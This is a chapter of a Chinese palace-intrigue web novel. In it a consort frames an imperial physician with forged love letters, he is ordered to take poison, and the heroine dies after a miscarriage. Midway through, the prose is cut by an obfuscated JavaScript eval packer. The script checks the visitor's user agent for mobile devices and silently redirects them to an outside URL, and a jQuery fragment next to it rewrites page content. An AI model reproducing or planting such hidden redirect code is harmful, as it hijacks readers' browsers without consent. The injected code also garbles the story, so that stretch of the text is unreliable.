殿中雅雀无声,只余霁月急促的呼吸声。
陆瑶摇摇欲坠,闪烁其词:“皇上,原是霁月胡诌的,根本没有什么信件……”
霁月急道:“小主!您就不要给他留情面了!”
裴玉压抑着内心的愤怒,双拳紧握:“微臣冤枉!微臣不知什么亲笔信,芙贵人!你这是早有准备,蓄意栽赃吗?”
霁月抬眼斜睨裴玉,抢白道:“裴大人,你若问心无愧,可敢公开验信?只怕你心里虚得很,只剩嘴硬!”
裴玉气得脸色发青,可他的修养又叫他做不出讥讽宫女之事,只冷冷道:“粉骨碎身浑不怕,要留清白在人间。微臣不惧查验,只求皇上明察秋毫,还微臣与明妃娘娘一个清白。”
皇帝凝视众人的神色,示意常福全:“去取信来。”
正等着信,去煎止血散的宫人小心翼翼呈上一盏冬青釉荷叶纹杯,杯内药汁浓如玄漆,未入口已先散出一股浓烈的苦味。江昭倚在枕上,鬓发被冷汗黏成几缕,唇色苍白得几乎透明。她也不要皇帝喂她,只是神色木然地抬手接过,一口饮尽。
陆瑶上前几步,声音柔情似水,关切道:“姐姐,可好些了?”
江昭瞥她一眼:“药恶心,人更让我恶心。”说罢阖眼,不再施舍半分目光。
陆瑶的笑僵在脸上,指尖一蜷,讪讪地退后半步。
不多时,常福全双手呈上一只黑漆描金妆奁盒。匣盖轻启,一缕荷花的清香夹着陈年的墨气扑面而来。盒中一沓信笺整齐叠放,最下面几封已微微泛黄,边角卷起,似乎已经有些年头了。皇帝拈起最上几封,一目十行,眉宇间已透出不悦。
“昭儿亲启”……“见字如面,展信如晤……春赏百花冬观雪,醒亦念卿,梦亦念卿……求之不得,寤寐思服。”
末尾又写:“谨付寸心,希垂尺素”……“纸短情长,伏惟珍重”“书不尽言,余候面叙。”
字势清逸,连笔处的小勾、收笔时的轻顿,都与裴玉平日药方上的字迹分毫不差;纸张更是裴玉惯用的云纹笺,淡淡荷香是陆瑶宫中常用的香方。
皇帝将那一沓信掷到裴玉面前:“裴玉,这可是你的笔迹?你还有什么话要说吗?”
裴玉俯身拾起,指尖一触,纸纹与墨迹皆熟。细看笔迹:勾挑的弧度、收笔的轻顿、连笔处的小勾,再看数封信笺,竟与他自十二岁至今的字迹演变严丝合缝,仿得浑然天成,连他都要以为是从他自己的笔端流出。
他心中骇然:若非确信自己从未写过,连他都要被这“字迹”骗过,更何况皇上呢?这么多年,陆瑶……究竟是从哪一刻起暗生毒念,又悄然布下这天罗地网?
冷汗顺着鬓角滑下,裴玉不敢抬手去擦。他感觉皇上怀疑的目光如刀般一寸寸钉在他的脸上,逼得他心念急转,快速思考着破局之法。
疑点?漏洞?破绽?
字迹——无可挑剔;纸张——正是他惯用;墨材——陆瑶对他那般了解,自然是松烟墨;香味——淡淡荷香,的确不是他所用,但陆瑶大可推说“存放已久,自然沾香”;墨痕——新旧变更,毫无做旧痕迹,连岁月留下的细微毛边都仿得真切,显然是高手以他不同时期的真迹为底稿,逐笔临摹。
裴玉指节微紧,声音仍稳:“回皇上,字虽肖似,却并非出自微臣之手。芙贵人与臣乃世交,若她有心临摹,亦可乱真。”
陆瑶轻笑一声,声音温柔却带刺:“裴大人的意思是,我堂堂天子妃嫔,倒要处心积虑栽赃你一个小小太医了?”
皇帝也不知是信了还是不信,只道一声:“是吗?”转头面向江昭,语气低而紧:“你可看过这些信?可曾回信于他?”
江昭靠在枕上,面色雪白,声音却平静:“回皇上,臣妾从未见过这些信。裴大人每旬来诊平安脉,若有医嘱,当面即说,何须借他人转交?再者——”她抬眼,眸光冷清如寒潭,“若真有私情,怎敢留痕迹在旁人手里?又为何让芙贵人代为传递?”
裴玉紧接着出言:“皇上明鉴,若有亲密之词,如何敢叫他人转交?若微臣真与娘娘有私,微臣纵有天大胆子,也断不敢将密信托付第三人。更遑论留此把柄落在芙贵人手中,岂非自掘坟墓?”
陆瑶目光直刺裴玉:“你羞于启口,自然托我传递。我那里还有昭姐姐给你的回信。你二人既这般亲密,谁又敢保证皇嗣血脉纯正?”
她话音刚落,殿中空气陡然凝固。陆瑶倏地俯身,如受惊小鹿:“嫔妾失言,胡言乱语,皇上恕罪!”
烛火摇曳,映得皇帝半张脸沉在阴翳里,愈发幽暗。
江昭看透陆瑶的小心思,冷冷道:“皇上,看来臣妾这好妹妹要了皇嗣的命还不够,还想要臣妾和裴大人的命,胃口真是大得很。”
江昭嫌恶地看向陆瑶,好像在看一个跳梁小丑,“且不说根本没有这样的书信,臣妾三人昔年书信,不过是些旅途杂感、书卷闲评、日常趣闻,信笔草草,原是最寻常的友人相交。正因坦荡无防,真迹便悉数落于她手,被她逐字勾描,化作临摹的底稿。裴大人平日所开药方,字迹清晰,亦成了她偷师的范帖。如今她却将这些寻常笔墨,费尽心机仿制成所谓的‘私情铁证’,实在是可笑至极。臣妾这里也有些裴大人和她的书信,供皇上对比查阅。”
“若真有书信托她传递,原是最信任她,她却反手捅刀。臣妾和裴大人可是她的世交啊!”江昭低低笑几声,像是在嘲讽陆瑶机关算计,又像是嘲自己竟曾把毒蛇当姐妹,“这就是臣妾的好妹妹”,她一字一顿,“皇上可要看清楚了,您的妃嫔里,藏着一条披着人皮的狼。”陆瑶,你既下毒手,还想片叶不沾身,做梦!
陆瑶只觉面颊一阵滚烫,仿佛江昭当众撕下她那张精心描画的面皮,又狠狠掷在青砖上,用鞋底一寸寸碾碎。她楚楚可怜道:“嫔妾不知姐姐何意,姐姐冤枉我了。”
江昭轻哂道:“装可怜,扮无辜,从前我倒不知,你唱念做打的功夫这般炉火纯青。”
陆瑶哑口无言,知道江昭素来爱憎分明,如今恨透了她,断不会再给她留面子,遂不再开口讨骂,只低低地啜泣。
皇帝的视线在江昭脸上停了片刻,带着难以言说的疑色与探询,江昭不闪不避地回望,眸如冷星,皇帝被里头的冷意刺了一下。两两相望,从前的温情脉脉荡然无存,如今只剩冰冷的试探和失望。他看见她唇色苍白、泪痕未干,指尖还紧紧攥着被角,仿佛那是她仅剩的依靠。疑心仍在,可那摊殷红的血已蔓延成一片刺目的红,像无声的控诉,终究把“皇家血脉”四个字冲得模糊。
他阖了阖眼,掩去眸底翻涌的暗色——孩子已经没了,是不是皇家血脉,都没关系了。江家尚权倾朝野,后宫再出一桩“不贞”丑闻,只会让朝堂与史官一起撕破皇家的脸。
于是,他沉而短促地下令:“芙贵人陆氏,捏造事实,胡言乱语,构陷无辜,褫夺封号,降为常在。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141189|180024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
一句话,把脏水全泼到陆瑶身上,算是给此事盖棺定论。“今日之事,不许有任何人外传,若朕听到风声,一律杖毙。”
他倦怠地垂下眼,缓缓道:“你安心静养,朕改日再来看你。”他声音温和,目光却并无温情,好似覆着一层寒霜。说罢,又目光沉沉地看了一眼裴玉和陆瑶,再无半分停留,转身即走。有小太监高唱“皇上起驾——”。江昭知道,自己看似赢了,却已被悄无声息地挪出了皇帝的心尖。皇帝碍于情面没说什么,但终究心存芥蒂。否则,怎会轻描淡写地处置了陆瑶?失子的疼还没散,失宠的冷已透骨。
陆瑶轻拭眼泪,抚着鬓边垂下的流苏,笑得花枝乱颤,得意道:“一个位份换一个皇嗣,姐姐觉得如何?”
江昭靠着床栏,指尖在衾被上慢慢划出一道突兀的线,声音却平静得骇人:“当然划算,稳赚不赔的买卖。妹妹好手段,姐姐自叹弗如。这么多年,原来我从未看清过你。”
“你装得可真好啊,能装这么多年,也是一种本事。究竟是我从未看清过你,还是你什么时候就悄然变了?你借裴玉,杀了皇上对我的爱,惹得皇上对我厌恶,害死了我的孩子还将罪责都推到裴玉身上,你怎能?”
陆瑶微微歪头,仿佛听见夸奖:“不是我变了,而是我向来如此。父亲不疼,我从小就打定主意,要嫁给天底下最尊贵的人,做人上人,做别人最爱的人。可凭什么——”她声音陡然锋利,“凭什么皇上更喜欢你?凭什么裴玉也护着你?出身、家世、才情,我样样都比不过你,永远只能做你的影子,让我怎能甘心!”
江昭抬眸,寒意闪过:“所以今早的八珍糕和七白糕,也是你故意送的?”
陆瑶掩唇,声音柔柔如水波:“姐姐聪慧,我隔三岔五送点心,不过想看看你们是否有了喜讯。若有,顺手便除。一石二鸟,何乐不为?”
江昭微微抬头,道:“你既这般盼我死,步步为营,只不知下一次,你可还承得住反噬。”
陆瑶不屑道:“姐姐说什么呢?妹妹怎么听不懂。姐姐如今说这话,不觉得有些迟了吗。姐姐尽管出招吧,姐姐若有能耐再来一次,妹妹便再送姐姐一程。可惜,姐姐恐怕没有再来一次的机会了。”
陆瑶又转头,居高临下看向裴玉,唇角含笑:“裴玉,你可别怪我。折了你这位相熟的太医,我也很是烦恼呢。只是,不把罪名推到你头上,我怎能全身而退呢?哟!你的催命符好像来了,本小主先走了。”
小太监躬身匆匆而入,托盘上一只鎏金小盏,酒色澄碧,却散着冷冽苦意。
“皇上口谕——”尖细嗓音划破死寂:“太医裴玉,医术不精,致皇嗣夭亡,赐自尽。”
裴玉面色瞬间灰败,指尖微颤,却不敢迟疑,双手捧盏。
酒液映出他惨白的脸,自责的神色。他仰首一饮,喉结滚动。
盏落,坠声清脆。
片刻后,一缕乌血自唇角蜿蜒而下,他缓缓倒地。
宫灯昏黄,烛火将尽,殿内只余潮冷的血腥气。
江昭的血本已止住,可,也许是心情大起大落,大悲大痛,也许是止血散药效不够,竟又有鲜红从裙间汩汩涌出,像无声的泉,一寸寸带走她仅剩的体温。
江昭阖着眼,既不喊痛,也不传医,只任血潮顺着新换的被褥纹理蜿蜒,把锦被染成暗褐。
血色渐凉,呼吸渐浅。
烛火终灭,一切归于沉寂。